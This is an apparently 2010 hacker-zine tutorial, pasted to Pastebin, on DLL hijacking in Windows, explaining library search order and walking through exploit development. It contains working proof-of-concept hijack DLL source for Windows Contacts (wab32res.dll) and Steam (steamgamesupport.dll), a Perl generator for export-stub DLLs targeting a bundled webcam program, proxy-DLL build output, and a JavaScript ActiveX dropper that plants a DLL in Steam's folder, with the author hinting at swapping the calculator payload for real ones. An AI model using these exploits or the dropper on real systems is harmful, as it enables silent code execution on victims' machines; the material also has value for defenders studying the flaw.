Guest User

Untitled

a guest
Mar 23rd, 2011
767
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.86 KB | None | 0 0
  1. -=[ 0x06 Practical DLL Hijacking
  2. -=[ Author: storm
  3.  
  4. -=[ Email: [email protected]
  5. -=[ Website: http://gonullyourself.org/
  6.  
  7.  
  8. Table of Contents
  9. I. Introduction
  10. II. Threat or No Threat?
  11. III. Background on DLL Hijacking
  12. IV. Developing a Proof of Concept
  13. V. Real-World Attack Examples
  14. VI. Omg Hax
  15.  
  16. I. Introduction
  17. ===============
  18.  
  19. A recent craze has been forming over a new attack vector known as "DLL hijacking." This paper is
  20. meant to inform the reader about what exactly this attack vector is, how it works, and how to
  21. develop a proof of concept exploit for it. I will also be covering some more advanced topics, such
  22. as how DLL hijacking may be used in a practical manner to deliver malicious payloads, and I will
  23. also introduce a new utilization of this attack to silently execute code on a remote system.
  24.  
  25. II. Threat or No Threat?
  26. ========================
  27.  
  28. There has been a lot of discussion about whether or not DLL hijacking actually presents any sort of
  29. security risk, and at first look, one may agree that these concerns hold some merit. In a typical
  30. scenario, an attacker would already need to possess a significant level of access to the target
  31. machine and its filesystem in order to perform a hijack, so the question remains that if such a
  32. level of access has already been achieved, then why would time and resources be wasted on a DLL
  33. hijack? Instead, an attacker would probably have the power to simply tamper with the targeted
  34. program itself or execute a downloaded binary with the same user permissions.
  35.  
  36. If an average DLL hijacking scenario doesn't grant escalated privileges to an attacker, then what
  37. the heck use is it? DLL hijacking is appropriate in situations where an attacker does not have
  38. actual interactive access to a target system but is still able to pass files to it, such as when a
  39. user downloads content through BitTorrent or plugs in a USB thumb drive. In both of these
  40. situations, DLL files may be planted on a system in specific relation to other key files in the
  41. absence of the attacker maintaining any interactive access to the machine at all. When executed
  42. properly, this attack is very effective and very dangerous. DLL hijacking won't bring about the
  43. destruction of all computing as the media generally makes any vulnerability out to be (I'm assuming
  44. it won't), but it certainly has its place as a valid security concern that must be addressed.
  45.  
  46. In any regard, the vendors seem to be taking it seriously:
  47.  
  48. From: "Adobe PSIRT" <[email protected]>
  49. Subject: Adobe Report
  50. Date: Mon, August 30, 2010 11:26 am
  51. Cc: "Adobe PSIRT" <[email protected]>
  52.  
  53. Hello sToRm,
  54.  
  55. We noticed you posted a report on the Exploit database about an issue affecting an
  56. Adobe product: Adobe Photoshop CS2 DLL Hijacking Exploit (Wintab32.dll),
  57. http://www.exploit-db.com/exploits/14741. We are currently investigating how to
  58. resolve the issue. We definitely appreciate your feedback about the security of our
  59. products, and encourage you to contact us directly in the event you find any further
  60. issues, or have additional information you would like to share about the issue
  61. already reported. Please contact us at [email protected].
  62.  
  63. Thank you very much,
  64. Wendy
  65. Adobe Product Security Incident Response Team
  66.  
  67. III. Background on DLL Hijacking
  68. ================================
  69.  
  70. First, let's answer the question of what a DLL file is. Basically, DLL files (the acronym stands
  71. for "dynamic-link library") are Windows's version of shared libraries, which are packages of
  72. different subroutines that grant greater functionality to programs. Directly quoting a Microsoft
  73. article, "For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box
  74. related functions." Numerous DLL files exist, each providing unique functionality. To cite another
  75. example, when loaded by a program, the wsock32.dll file offers an interface to the Windows Sockets
  76. API.
  77.  
  78. Above, I mentioned that DLL files are shared libraries, not static libraries. This is a key piece
  79. of information in the context of our attack. To further explain, shared libraries are loaded at
  80. run-time, unlike static libraries which are loaded at compile-time. The functionality provided by
  81. static libraries is compiled directly into the binary itself, whereas the functionality provided by
  82. shared libraries is compiled separately and copied into memory once loaded by the program. By using
  83. shared libraries, the overall program size decreases since the executable is only storing a table of
  84. required functions instead of the actual functions themselves. This process is referred to as
  85. dynamic linking.
  86.  
  87. Dynamic linking offers many advantages over static linking (which you may have figured the
  88. definition of already), just as static linking offers many advantages over dynamic linking. For
  89. instance, as previously stated, dynamic linking decreases the overall size of the final executable.
  90. Shared libraries may also be easily updated without the need for recompiling the affected program.
  91. Additionally, dynamic linking promotes the reusage of code and allows such libraries to be called
  92. upon by multiple programs at the same time. Quoting the book "An Introduction to GCC: for the GNU
  93. compilers gcc and g++," "Most operating systems also provide a virtual memory mechanism which allows
  94. one copy of a shared library in physical memory to be used by all running programs, saving memory as
  95. well as disk space." Dynamic linking provides both efficient usage of resources and flexibility in
  96. programming.
  97.  
  98. This flexibility, however, is what causes programs to be vulnerable to DLL hijacking. When
  99. specifying a DLL file to be loaded by a program, a programmer has various options. First, s/he may
  100. call the library using an absolute path, such as "C:\Windows\system32\wsock32.dll". Second, s/he
  101. may call the library using a relative path, such as "..\..\Windows\system32\wsock32.dll". Third,
  102. s/he may call the library simply by defining "wsock32.dll" with no path. This third option is of
  103. particular interest to us due to the way Windows attempts to locate DLL files with no definite
  104. path.
  105.  
  106. The following lists are from various Microsoft KB articles and the ACROS Security Blog. Asterisks
  107. denote families of functions.
  108.  
  109. When the LoadLibrary* functions are evoked, the following locations are searched for the requested
  110. file:
  111.  
  112. 1. The directory from which the application loaded
  113. 2. The system directory
  114. 3. The 16-bit system directory
  115. 4. The Windows directory
  116. 5. The current working directory (CWD)
  117. 6. The directories that are listed in the PATH environment variable
  118.  
  119. When the SeachPath, CreateProcess*, and LoadModule functions are evoked, the following locations are
  120. searched for the requested file:
  121.  
  122. 1. The directory from which the application loaded
  123. 2. The current working directory (CWD)
  124. 3. The system directory
  125. 4. The 16-bit system directory
  126. 5. The Windows directory
  127. 6. The directories that are listed in the PATH environment variable
  128.  
  129. When the ShellExecute* functions are evoked, the following locations are searched for the requested
  130. file:
  131.  
  132. 1. The current working directory (CWD)
  133. 2. The 32-bit System directory (Windows\System32)
  134. 3. The 16-bit System directory (Windows\System)
  135. 4. The Windows directory (Windows)
  136. 5. The directories in the PATH environment variable
  137. 6. The directories specified in the App Paths registry key
  138.  
  139. When the WinExec function is evoked, the following locations are searched for the requested file:
  140.  
  141. 1. The directory from which the application loaded.
  142. 2. The current working directory (CWD)
  143. 3. The Windows system directory. The GetSystemDirectory function retrieves the path of this
  144. directory.
  145. 4. The Windows directory. The GetWindowsDirectory function retrieves the path of this
  146. directory.
  147. 5. The directories listed in the PATH environment variable.
  148.  
  149. When the _spawn*p* and _exec*p* functions are evoked, the following locations are searched for the
  150. requested file:
  151.  
  152. 1. The current working directory (CWD)
  153. 2. The 32-bit system directory (Windows\System32)
  154. 3. The Windows directory (Windows)
  155. 4. The directories in the PATH environment variable
  156.  
  157. You may have already formulated an idea about what can happen here. If a DLL file is loaded by
  158. means of the third path, then there is a good chance that the load function is searching a few other
  159. directories before finding it. If an attacker places a DLL file containing malicious code in a
  160. directory that is searched before the correct one is, then it will be loaded (with privileges of the
  161. calling progam) instead of the real DLL, leading to arbitrary code execution. This is a DLL
  162. hijacking attack.
  163.  
  164. IV. Developing a Proof of Concept
  165. =================================
  166.  
  167. It is fairly simple to develop a working exploit for DLL hijacking. In this section, I will guide
  168. you through the process of finding a vulnerable application, identifying hijackable DLL files, and
  169. creating your own DLL files to be hijacked. For the scope of this tutorial, I will target
  170. Microsoft's Windows Contacts program (tested on Vista SP2 and 7 Ultimate).
  171.  
  172. First, download and extract Process Monitor (available at [1]), which we will use to track the
  173. filesystem activity of Windows Contacts. After opening it, add the following filters:
  174.  
  175. Process Name is wab.exe then Include
  176. Path ends with .dll then Include
  177. Result is NAME NOT FOUND then Include
  178.  
  179. Doing this restricts the program's output just to what we are interested in (requests to load
  180. nonexistent DLL files by wab.exe).
  181.  
  182. Create an empty file named "test.wab", where .wab is a file extension associated with Windows
  183. Contacts. Double-click on test.wab, which will open the Windows Contacts program. Scrolling down,
  184. you should see something similar to the following events:
  185.  
  186. wab.exe CreateFile C:\Program Files\Windows Mail\wab32res.dll NAME NOT FOUND
  187. wab.exe CreateFile C:\Windows\System32\wab32res.dll NAME NOT FOUND
  188. wab.exe CreateFile C:\Windows\system\wab32res.dll NAME NOT FOUND
  189. wab.exe CreateFile C:\Windows\wab32res.dll NAME NOT FOUND
  190. wab.exe CreateFile C:\Users\storm\Desktop\New Folder\Windows Contacts\wab32res.dll NAME NOT FOUND
  191. wab.exe CreateFile C:\Program Files\Windows Mail\wab32res.dll NAME NOT FOUND
  192. wab.exe CreateFile C:\Perl\site\bin\wab32res.dll NAME NOT FOUND
  193. wab.exe CreateFile C:\Perl\bin\wab32res.dll NAME NOT FOUND
  194. wab.exe CreateFile C:\Program Files\PHP\wab32res.dll NAME NOT FOUND
  195. wab.exe CreateFile C:\Windows\System32\wab32res.dll NAME NOT FOUND
  196. wab.exe CreateFile C:\Windows\wab32res.dll NAME NOT FOUND
  197. wab.exe CreateFile C:\Windows\System32\wbem\wab32res.dll NAME NOT FOUND
  198. wab.exe CreateFile C:\Windows\System32\WindowsPowerShell\v1.0\wab32res.dll NAME NOT FOUND
  199. wab.exe CreateFile C:\Windows\wbin\wab32res.dll NAME NOT FOUND
  200. wab.exe CreateFile C:\Program Files\Nmap\wab32res.dll NAME NOT FOUND
  201.  
  202. This string of failed attempts to load a single DLL file is what we are looking for. First, the
  203. directory that wab.exe was executed from is checked for wab32res.dll, where it is not found. Next,
  204. it checks three Windows directories, where it is also not found. Then, it checks the current
  205. working directory (where the .wab file was loaded from), and then, finally, it enumerates PATH as a
  206. last resort. By observing this trend, we can assume that the program attempts to load wab32res.dll
  207. using either the LoadLibrary or LoadLibraryEx method.
  208.  
  209. In case you are interested, by removing the "NAME NOT FOUND" filter, you can see all requests to
  210. load DLL files, successful or not. By doing so, we can see that Windows Contacts was ultimately
  211. successful in loading wab32res.dll a little further down:
  212.  
  213. wab.exe CreateFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  214. wab.exe QueryBasicInformationFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  215. wab.exe CloseFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  216. wab.exe CreateFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  217. wab.exe CreateFileMapping C:\Program Files\Common Files\System\wab32res.dll FILE LOCKED WITHONLY
  218. READERS
  219. wab.exe CreateFileMapping C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  220. wab.exe Load Image C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  221. wab.exe CloseFile C:\Program Files\Common Files\System\wab32res.dll SUCCESS
  222.  
  223. So, now that we've identified wab32res.dll as a viable point of attack, the next step is to craft
  224. our own DLL file. Since we've deduced that the DLL file is being loaded with one of the LoadLibrary
  225. functions, we can employ the help of the DllMain callback function. We know this because, according
  226. to [2], "When the system starts or terminates a process or thread, it calls the entry-point function
  227. for each loaded DLL using the first thread of the process. The system also calls the entry-point
  228. function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions."
  229. This means that the contents of DllMain() in our code will be executed upon loading of the DLL
  230. file.
  231.  
  232. The following code is directly from the KB article just mentioned:
  233.  
  234. BOOL WINAPI DllMain(
  235. __in HINSTANCE hinstDLL,
  236. __in DWORD fdwReason,
  237. __in LPVOID lpvReserved
  238. );
  239.  
  240. So let's use this code and actually make it do something. The classic proof of concept is to
  241. execute Calculator:
  242.  
  243. /*
  244.  
  245. Exploit Title: Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)
  246. Date: August 25, 2010
  247. Author: storm ([email protected])
  248. Tested on: Windows Vista SP2
  249.  
  250. http://www.gonullyourself.org/
  251.  
  252. gcc -shared -o wab32res.dll Contacts-DLL.c
  253.  
  254. .contact, .group, .p7c, .vcf, and .wab files are affected.
  255.  
  256. */
  257.  
  258. #include <windows.h>
  259.  
  260. int hax()
  261. {
  262. WinExec("calc", 0);
  263. exit(0);
  264. return 0;
  265. }
  266.  
  267. BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  268. {
  269. hax();
  270. return 0;
  271. }
  272.  
  273. Here, we have the DllMain() function call hax(), which simply executes calc.exe and exits. In case
  274. you're wondering, you can determine which file extensions are associated with which programs through
  275. Control Panel > Default Programs.
  276.  
  277. Compile and put your new wab32res.dll in the same directory as any .contact, .group, .p7c, .vcf, or
  278. .wab file. The file can be empty - just as long as it has one of those file extensions. Open the
  279. file, and you should see a Calculator window open. :)
  280.  
  281. We are done with the proof of concept process for this program. However, if the targeted program
  282. does not load a DLL using a LoadLibrary function, then we are not able to use DllMain() to execute
  283. our code. If this is the case, then we must construct our new DLL file in a different manner. We
  284. must create a template of every export function provided by the real DLL file, but instead of the
  285. actual functionality, each function simple runs our hax() function.
  286.  
  287. For this example, I will use rpawinet.dll, which is loaded insecurely by Live! Cam Avatar Creator
  288. (CrazyTalk4 for short). It's essentially some useless program that came pre-installed on my
  289. computer, so I figured I would utilize it somehow.
  290.  
  291. First, download and extract DLL Export Viewer from [3]. Run the program, and load the DLL file you
  292. wish to examine (in this case, rpawinet.dll). A list of the export functions should display in the
  293. window. Ctrl+A to select all, and Ctrl+S to save to a text file. The contents of the text file
  294. should look something like:
  295.  
  296. ==================================================
  297. Function Name : HttpFilterBeginningTransaction
  298. Address : 0x100011d0
  299. Relative Address : 0x000011d0
  300. Ordinal : 1 (0x1)
  301. Filename : rpawinet.dll
  302. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  303. Type : Exported Function
  304. ==================================================
  305.  
  306. ==================================================
  307. Function Name : HttpFilterClose
  308. Address : 0x100011dd
  309. Relative Address : 0x000011dd
  310. Ordinal : 2 (0x2)
  311. Filename : rpawinet.dll
  312. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  313. Type : Exported Function
  314. ==================================================
  315.  
  316. ==================================================
  317. Function Name : HttpFilterOnBlockingOps
  318. Address : 0x100011ea
  319. Relative Address : 0x000011ea
  320. Ordinal : 3 (0x3)
  321. Filename : rpawinet.dll
  322. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  323. Type : Exported Function
  324. ==================================================
  325.  
  326. ==================================================
  327. Function Name : HttpFilterOnResponse
  328. Address : 0x100011f7
  329. Relative Address : 0x000011f7
  330. Ordinal : 4 (0x4)
  331. Filename : rpawinet.dll
  332. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  333. Type : Exported Function
  334. ==================================================
  335.  
  336. ==================================================
  337. Function Name : HttpFilterOnTransactionComplete
  338. Address : 0x10001204
  339. Relative Address : 0x00001204
  340. Ordinal : 5 (0x5)
  341. Filename : rpawinet.dll
  342. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  343. Type : Exported Function
  344. ==================================================
  345.  
  346. ==================================================
  347. Function Name : HttpFilterOpen
  348. Address : 0x10001211
  349. Relative Address : 0x00001211
  350. Ordinal : 6 (0x6)
  351. Filename : rpawinet.dll
  352. Full Path : C:\Users\storm\Desktop\New Folder\CrazyTalk4\rpawinet.dll
  353. Type : Exported Function
  354. ==================================================
  355.  
  356. Using a simple Perl script, we can enumerate the function names in this text file and output them in
  357. correct format for our DLL source.
  358.  
  359. use strict;
  360. use warnings;
  361.  
  362. open FILE, '<', @ARGV or die $!;
  363.  
  364. print "#include <windows.h>\n#define DllExport __declspec (dllexport)\n\n";
  365.  
  366. while (<FILE>) {
  367.  
  368. print "DllExport void $1() { hax(); }\n" if ($_ =~ /Function Name\s+: (\w+)/);
  369.  
  370. };
  371.  
  372. print "\nint hax()\n{\n WinExec(\"calc\", 0);\n exit(0);\n return 0;\n}";
  373.  
  374. This should output:
  375.  
  376. #include <windows.h>
  377. #define DllExport __declspec (dllexport)
  378.  
  379. DllExport void HttpFilterBeginningTransaction() { hax(); }
  380. DllExport void HttpFilterClose() { hax(); }
  381. DllExport void HttpFilterOnBlockingOps() { hax(); }
  382. DllExport void HttpFilterOnResponse() { hax(); }
  383. DllExport void HttpFilterOnTransactionComplete() { hax(); }
  384. DllExport void HttpFilterOpen() { hax(); }
  385.  
  386. int hax()
  387. {
  388. WinExec("calc", 0);
  389. exit(0);
  390. return 0;
  391. }
  392.  
  393. I think you know what to do from here. :)
  394.  
  395. If you are interested, HD Moore has written a DLL hijacking auditing kit that automates checking
  396. every associated file extension on one's computer to find potential program vulnerabilities. You
  397. can find this tool at [4].
  398.  
  399. V. Real-World Attack Examples
  400. =============================
  401.  
  402. There are many avenues for DLL hijacking that turn a number of seemingly safe activities into
  403. potential security threats. I myself will not go too deeply into this section simply because other
  404. articles have done a good job describing the vulnerable scenarios, so I will instead provide a guide
  405. to these resources.
  406.  
  407. The article "Exploiting DLL Hijack in the real world" at [5] (mirror: [6]) provides a few good
  408. examples of possible attack scenarios. The main points of the article are "Using a SMB/WebDav
  409. shared folder," "A compressed package (.zip, .tar.gz, .rar etc)," "Torrents," and "Exploiting
  410. multiple application hijacks."
  411.  
  412. The article "New DLL Hijacking Exploits (many!)" at [7] steps through an example WebDAV attack using
  413. Metasploit. "Autorun DLL Hijacker (USB stick)" at [8] attempts to compormise a system through the
  414. AutoRun feature of USB thumb drives.
  415.  
  416. On another note, we only covered creating proof of concept DLLs that don't really do much. Also,
  417. since we are either removing the functionality of the export functions or the actual export
  418. functions themselves, the hijacked program is going to crash if we remove the "exit(0);" line.
  419. Let's learn how to execute our payload while still maintaining the functionality of the original DLL
  420. file, effectively creating a silent attack.
  421.  
  422. We will achieve this through the use of a "proxy DLL." A proxy DLL is exactly what it sounds like -
  423. a DLL file that acts as an intermediary to another DLL file. These are used to intercept and alter
  424. program calls, most commonly to add "extra functionality" to games. For this quick section, I'll be
  425. referencing the article [9] as our method of creating proxy DLL files. The source wrappit.cpp [10]
  426. is provided by the article to automate the process, which you can instead download from [11] to
  427. avoid the mandatory registration bullshit.
  428.  
  429. As I am still unfamiliar with the true power of proxy DLLs, I will only introduce you to this
  430. concept and recommend you to guide yourself through the process by reading the documentation linked
  431. above. The CodeProject article does a pretty good job explaining how to use the tool. Make sure
  432. that the appropriate development environment is installed (I am using Microsoft Visual C++ Express).
  433. I will use the example wsock32.dll as in the article:
  434.  
  435. C:\Users\storm\Desktop\src>"C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\vcvars32.bat"
  436. Setting environment for using Microsoft Visual Studio 2010 x86 tools.
  437.  
  438. C:\Users\storm\Desktop\src>dumpbin /exports C:\Windows\System32\wsock32.dll > exports.txt
  439.  
  440. C:\Users\storm\Desktop\src>type exports.txt
  441. Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
  442. Copyright (C) Microsoft Corporation. All rights reserved.
  443.  
  444.  
  445. Dump of file C:\Windows\System32\wsock32.dll
  446.  
  447. File Type: DLL
  448.  
  449. Section contains the following exports for WSOCK32.dll
  450.  
  451. 00000000 characteristics
  452. 4A5BC955 time date stamp Mon Jul 13 19:55:01 2009
  453. 0.00 version
  454. 1 ordinal base
  455. 1142 number of functions
  456. 75 number of names
  457.  
  458. ordinal hint RVA name
  459.  
  460. 1141 0 AcceptEx (forwarded to MSWSOCK.AcceptEx)
  461. 1111 1 EnumProtocolsA (forwarded to MSWSOCK.EnumProtocolsA)
  462. 1112 2 EnumProtocolsW (forwarded to MSWSOCK.EnumProtocolsW)
  463. 1142 3 GetAcceptExSockaddrs (forwarded to MSWSOCK.GetAcceptExSockaddrs)
  464. 1109 4 GetAddressByNameA (forwarded to MSWSOCK.GetAddressByNameA)
  465. 1110 5 GetAddressByNameW (forwarded to MSWSOCK.GetAddressByNameW)
  466. 1115 6 GetNameByTypeA (forwarded to MSWSOCK.GetNameByTypeA)
  467. 1116 7 GetNameByTypeW (forwarded to MSWSOCK.GetNameByTypeW)
  468. 1119 8 GetServiceA (forwarded to MSWSOCK.GetServiceA)
  469. 1120 9 GetServiceW (forwarded to MSWSOCK.GetServiceW)
  470. 1113 A GetTypeByNameA (forwarded to MSWSOCK.GetTypeByNameA)
  471. 1114 B GetTypeByNameW (forwarded to MSWSOCK.GetTypeByNameW)
  472. 24 C MigrateWinsockConfiguration (forwarded to MSWSOCK.MigrateWinsockConfigurat
  473. ion)
  474. 1130 D NPLoadNameSpaces (forwarded to MSWSOCK.NPLoadNameSpaces)
  475. 1117 E SetServiceA (forwarded to MSWSOCK.SetServiceA)
  476. 1118 F SetServiceW (forwarded to MSWSOCK.SetServiceW)
  477. 1140 10 TransmitFile (forwarded to MSWSOCK.TransmitFile)
  478. 500 11 WEP (forwarded to ws2_32.WEP)
  479. 102 12 WSAAsyncGetHostByAddr (forwarded to ws2_32.WSAAsyncGetHostByAddr)
  480. 103 13 WSAAsyncGetHostByName (forwarded to ws2_32.WSAAsyncGetHostByName)
  481. 105 14 WSAAsyncGetProtoByName (forwarded to ws2_32.WSAAsyncGetProtoByName)
  482. 104 15 WSAAsyncGetProtoByNumber (forwarded to ws2_32.WSAAsyncGetProtoByNumber)
  483. 107 16 WSAAsyncGetServByName (forwarded to ws2_32.WSAAsyncGetServByName)
  484. 106 17 WSAAsyncGetServByPort (forwarded to ws2_32.WSAAsyncGetServByPort)
  485. 101 18 WSAAsyncSelect (forwarded to ws2_32.WSAAsyncSelect)
  486. 108 19 WSACancelAsyncRequest (forwarded to ws2_32.WSACancelAsyncRequest)
  487. 113 1A WSACancelBlockingCall (forwarded to ws2_32.WSACancelBlockingCall)
  488. 116 1B WSACleanup (forwarded to ws2_32.WSACleanup)
  489. 111 1C WSAGetLastError (forwarded to ws2_32.WSAGetLastError)
  490. 114 1D WSAIsBlocking (forwarded to ws2_32.WSAIsBlocking)
  491. 1107 1E WSARecvEx (forwarded to MSWSOCK.WSARecvEx)
  492. 109 1F WSASetBlockingHook (forwarded to ws2_32.WSASetBlockingHook)
  493. 112 20 WSASetLastError (forwarded to ws2_32.WSASetLastError)
  494. 115 21 WSAStartup (forwarded to ws2_32.WSAStartup)
  495. 110 22 WSAUnhookBlockingHook (forwarded to ws2_32.WSAUnhookBlockingHook)
  496. 1000 23 WSApSetPostRoutine (forwarded to ws2_32.WSApSetPostRoutine)
  497. 151 24 __WSAFDIsSet (forwarded to ws2_32.__WSAFDIsSet)
  498. 1 25 accept (forwarded to ws2_32.accept)
  499. 2 26 bind (forwarded to ws2_32.bind)
  500. 3 27 closesocket (forwarded to ws2_32.closesocket)
  501. 4 28 connect (forwarded to ws2_32.connect)
  502. 1106 29 dn_expand (forwarded to MSWSOCK.dn_expand)
  503. 51 2A gethostbyaddr (forwarded to ws2_32.gethostbyaddr)
  504. 52 2B gethostbyname (forwarded to ws2_32.gethostbyname)
  505. 57 2C gethostname (forwarded to ws2_32.gethostname)
  506. 1101 2D getnetbyname (forwarded to MSWSOCK.getnetbyname)
  507. 5 2E getpeername (forwarded to ws2_32.getpeername)
  508. 53 2F getprotobyname (forwarded to ws2_32.getprotobyname)
  509. 54 30 getprotobynumber (forwarded to ws2_32.getprotobynumber)
  510. 55 31 getservbyname (forwarded to ws2_32.getservbyname)
  511. 56 32 getservbyport (forwarded to ws2_32.getservbyport)
  512. 6 33 getsockname (forwarded to ws2_32.getsockname)
  513. 7 34 0000186E getsockopt
  514. 8 35 htonl (forwarded to ws2_32.htonl)
  515. 9 36 htons (forwarded to ws2_32.htons)
  516. 10 37 inet_addr (forwarded to ws2_32.inet_addr)
  517. 1100 38 inet_network (forwarded to MSWSOCK.inet_network)
  518. 11 39 inet_ntoa (forwarded to ws2_32.inet_ntoa)
  519. 12 3A ioctlsocket (forwarded to ws2_32.ioctlsocket)
  520. 13 3B listen (forwarded to ws2_32.listen)
  521. 14 3C ntohl (forwarded to ws2_32.ntohl)
  522. 15 3D ntohs (forwarded to ws2_32.ntohs)
  523. 1102 3E rcmd (forwarded to MSWSOCK.rcmd)
  524. 16 3F 000017A8 recv
  525. 17 40 00001808 recvfrom
  526. 1103 41 rexec (forwarded to MSWSOCK.rexec)
  527. 1104 42 rresvport (forwarded to MSWSOCK.rresvport)
  528. 1108 43 s_perror (forwarded to MSWSOCK.s_perror)
  529. 18 44 select (forwarded to ws2_32.select)
  530. 19 45 send (forwarded to ws2_32.send)
  531. 20 46 sendto (forwarded to ws2_32.sendto)
  532. 1105 47 sethostname (forwarded to MSWSOCK.sethostname)
  533. 21 48 000018E0 setsockopt
  534. 22 49 shutdown (forwarded to ws2_32.shutdown)
  535. 23 4A socket (forwarded to ws2_32.socket)
  536.  
  537. Summary
  538.  
  539. 1000 .data
  540. 1000 .reloc
  541. 1000 .rsrc
  542. 3000 .text
  543.  
  544. C:\Users\storm\Desktop\src>g++ wrappit.cpp -o wrappit.exe
  545.  
  546. C:\Users\storm\Desktop\src>wrappit.exe wsock32.dll exports.txt __stdcall C:\\Windows\\System32\\wsoc
  547. k32.dll wsock32.cpp wsock32.def
  548. Wrappit. Copyright (C) Chourdakis Michael
  549. Usage: WRAPPIT <dll> <txt> <convention> <new dll name> <cpp> <def>
  550. ==================================================================
  551. Step 1: Parsing exports.txt...
  552. Step 1: 75 exported functions parsed.
  553. ------------------------------------------
  554. Step 2: Generating .DEF file wsock32.def...
  555. Step 2: 75 exported functions written to DEF.
  556. ------------------------------------------
  557. Step 3: Generating .CPP file wsock32.cpp...
  558. cl : Command line warning D9035 : option 'Wp64' has been deprecated and will be removed in a future
  559. release
  560. wsock32.cpp
  561. Creating library wsock32.lib and object wsock32.exp
  562. Generating code
  563. Finished generating code
  564.  
  565. C:\Users\storm\Desktop\src>
  566.  
  567. And this is where I will leave you. :)
  568.  
  569. VI. Omg Hax
  570. ===========
  571.  
  572. Many flaws in web browsers allow files to be downloaded to a victim's computer but not executed
  573. (arbitrary file download), leaving the attacker hoping that it's opened either intentionally or
  574. accidentally. With DLL hijacking, exploits such as these do not have to rely on a user directly
  575. interacting with the file, which usually leads to exposure of an attack. Instead, a malicious DLL
  576. file targeting a popular program may be dropped to a location that will be searched before the
  577. actual, legitimate DLL is found. Or, in a case like this, where the actual DLL is missing
  578. altogether:
  579.  
  580. /*
  581.  
  582. Exploit Title: Steam DLL Hijacking Exploit (steamgamesupport.dll)
  583. Date: August 25, 2010
  584. Author: storm ([email protected])
  585. Tested on: Windows Vista SP2
  586.  
  587. http://www.gonullyourself.org/
  588.  
  589. gcc -shared -o steamgamesupport.dll Steam-DLL.c
  590.  
  591. For whatever ungodly reason, Steam searches PATH for steamgamesupport.dll but never finds it.
  592. Shall we help it?
  593.  
  594. */
  595.  
  596. #include <windows.h>
  597.  
  598. int hax()
  599. {
  600. WinExec("calc", 0);
  601. exit(0);
  602. return 0;
  603. }
  604.  
  605. BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
  606. {
  607. hax();
  608. return 0;
  609. }
  610.  
  611. The following code, provided by SubSyn, acts as a basic example of a file dropper. It will produce
  612. one script warning when executed. The code with no script warnings will remain unreleased. :)
  613.  
  614. <html>
  615. <head></head>
  616. <body>
  617. <script language="javascript">
  618. var fso = new ActiveXObject("Scripting.FileSystemObject");
  619. var myfile = fso.CreateTextFile("C:\\Program Files\\Steam\\steamgamesupport.dll",true);
  620. myfile.WriteLine("compiled DLL contents");
  621. myfile.Close();
  622. document.location='http://www.intel.com';
  623. </script>
  624. </body>
  625. </html>
  626.  
  627.  
  628. [1] http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
  629. [2] http://msdn.microsoft.com/en-us/library/ms682583%28VS.85%29.aspx
  630. [3] http://www.nirsoft.net/utils/dll_export_viewer.html
  631. [4] http://blog.metasploit.com/2010/08/better-faster-stronger.html
  632. [5] http://digitalacropolis.us/?p=113
  633. [6] http://www.exploit-db.com/papers/14813/
  634. [7] http://www.attackvector.org/new-dll-hijacking-exploits-many/
  635. [8] http://www.attackvector.org/autorun-dll-hijacker-usb-stick/
  636. [9] http://www.codeproject.com/KB/DLL/CreateYourProxyDLLs.aspx
  637. [10] http://www.codeproject.com/KB/DLL/CreateYourProxyDLLs/src.zip
  638. [11] http://gonullyourself.org/downloads/wrappit.cpp
  639. [12] http://support.microsoft.com/kb/815065
  640. [13] http://www.network-theory.co.uk/docs/gccintro/gccintro_25.html
  641. [14] http://kb.iu.edu/data/akqn.html
  642. [15] http://support.microsoft.com/kb/2389418
  643. [16] http://www.microsoft.com/technet/security/advisory/2269637.mspx
  644. [17] http://support.microsoft.com/kb/2264107
  645. [18] http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf
  646. [19] http://blog.acrossecurity.com/2010/09/binary-planting-goes-exe.html
  647. [20] http://msdn.microsoft.com/en-us/library/ms682425%28VS.85%29.aspx
  648. [21] http://msdn.microsoft.com/en-us/library/ms687393%28VS.85%29.aspx
  649. [22] http://msdn.microsoft.com/en-us/library/ms684183%28VS.85%29.aspx
  650. [23] http://msdn.microsoft.com/en-us/library/20y988d2%28v=VS.80%29.aspx
  651. [24] http://msdn.microsoft.com/en-us/library/431x4c1w%28VS.80%29.aspx
Add Comment
Please, Sign In to add comment